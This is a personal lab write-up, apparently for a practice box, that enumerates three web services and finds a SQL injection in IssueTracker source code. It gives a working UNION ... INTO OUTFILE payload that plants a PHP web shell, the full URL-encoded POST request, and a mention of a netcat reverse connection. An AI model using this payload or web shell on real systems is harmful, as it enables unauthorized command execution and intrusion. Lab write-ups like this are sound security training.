Enumeration

2021年7月28日 15:02

1: Use autorecon to enumerate its services, **22, 17445, 30455, 50080** are open
2: Services running on **17445**, **30455**, and **50080** are all **HTTP** services
3: Access the first HTTP service, it is called **IssueTracker**. I cannot find any info about it, therefore, it could be a **private management**. The default page is **login portal**, default credential **admin:admin** does not work. However, I can **register** one and then sign in. After login, I can view all **users** and **issues**, and **edit** them
4: Enumerate the second HTTP service, **phpinfo.php** is accessible. With it, I get plenty juicy info. Webroot is **/srv/http**, it is run by **root**, and it use **FPM Api**. There is a **RCE** exploit about **FPM+Nginx**, the target's environment matches so much, I think it is a possible exploit. However, it is **invulnerable** to this exploit
5: Enumerate the last HTTP service, I find a hidden directory **/cloud**. Default credential **admin:admin** can sign in.
6: The management tool is **NextCloud 20.0.7**. I search for its exploit, since it is relatively new version, it does not have any helpful exploit
7: However, I find that **source code** of **IssueTracker** (The management running on port **17445**) is presented in **NextCloud's storage**. Download it and analyze these codes.

Foothold

2021年7月28日 15:05

1: Execute **grep -R "sql"** to search for keywords about SQL to search for **potential SQLi**
2: A source file **IssueController.java** contains SQL statement execution module
3: Analyze this file, the SQL query is **SELECT message FROM issue WHERE priority="High"**. And it exists in path: **/issue/checkByProirity**
4: Access http://192.168.61.147:17445/cloud/issue/checkByProirity, but the server responses that **method error**. It means at least **GET** method is not applied. Therefore, we need to send a modified **POST** request
5: To construct a malicious SQL statement to **write a file** to the **second's HTTP service's webroot**, the sentence is **priority=Normal' UNION SELECT ("<?php echo shell_exec($_GET['cmd'].' 2>&1');?>") INTO OUTFILE '/srv/http/backdoor.php' --**
6: Consider **URL encoding**, the final request should be
POST /issue/checkByPriority?priority=Normal%27%20UNION%20SELECT%20%28%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%27cmd%27%5D.%27%202%3E%261%27%29%3B%3F%3E%22%29%20INTO%20OUTFILE%20%27%2Fsrv%2Fhttp%2Fback.php%27%20--%20 HTTP/1.1

Host: 192.168.61.147:17445

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

Origin: http://192.168.61.147:17445

Connection: close

Referer: http://192.168.61.147:17445/issue/add

Cookie: JSESSIONID=5642FE69305815F4849549BAD1E9F097

Upgrade-Insecure-Requests: 1
7: Access http://192.168.61.147:30455/backdoor.php?cmd=cat /root/proof.txt, get the flag
8: It is also easy to download nc and connect back to Kali's netcat listener

Privilege Escalation

2021年7月28日 15:05

1: It is already a root shell

Review

2021年7月28日 15:05

1: Target **HTTP**, **SQL**
2: **Every HTTP service** is a **puzzle** for the final shell
3: First HTTP service has **SQL injection** vulnerability, the second HTTP service reveals **key info**, the third HTTP service provides us with old **source code** of the first HTTP service
4: Find the source file which contains **SQL injection vulnerability**
5: Analyze source code to construct a **malicious SQL query**
6: Execute it by **crafting a POST request** instead of GET request. Because source code could be **modified** as time goes
7: Some **rabbit holes** attract me from getting the right direction, such as **FPM+Nginx RCE exploit**